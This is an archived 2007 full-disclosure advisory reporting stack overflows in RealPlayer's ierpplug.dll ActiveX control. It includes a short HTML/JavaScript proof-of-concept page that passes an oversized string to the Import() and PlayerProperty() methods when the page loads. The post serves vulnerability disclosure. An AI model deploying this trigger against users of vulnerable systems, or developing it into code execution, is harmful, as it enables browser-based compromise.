full-disclosure - RealNetworks RealPlayer ierpplug.dll ActiveX Control Multiple Stack Overflows

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Message-ID: <11959711.1196028682549.JavaMail.root@elwamui-sweet.atl.sa.earthlink.net>
Date: Sun, 25 Nov 2007 17:11:22 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: RealNetworks RealPlayer ierpplug.dll ActiveX
 Control Multiple Stack Overflows

There are multiple stack overflows in the ierpplug.dll ActiveX Control. These issues were originally discovered by shinnai, http://www.securityfocus.com/bid/22811 and http://www.securityfocus.com/bid/21802. I am adding the Import() and PlayerProperty() functions to the list. This was tested on Windows XP SP2 fully patched, using IE 6; RealPlayer version 11, build 6.0.14.738, dist R41R01, ierpplug.dll version 1.0.1.3016. I have not tested code execution. PoC as follows:

------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}

      obj.Import(s);
      var obj2 = obj.PlayerProperty(s);

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">

 </body>
</html> 
------------

Elazar

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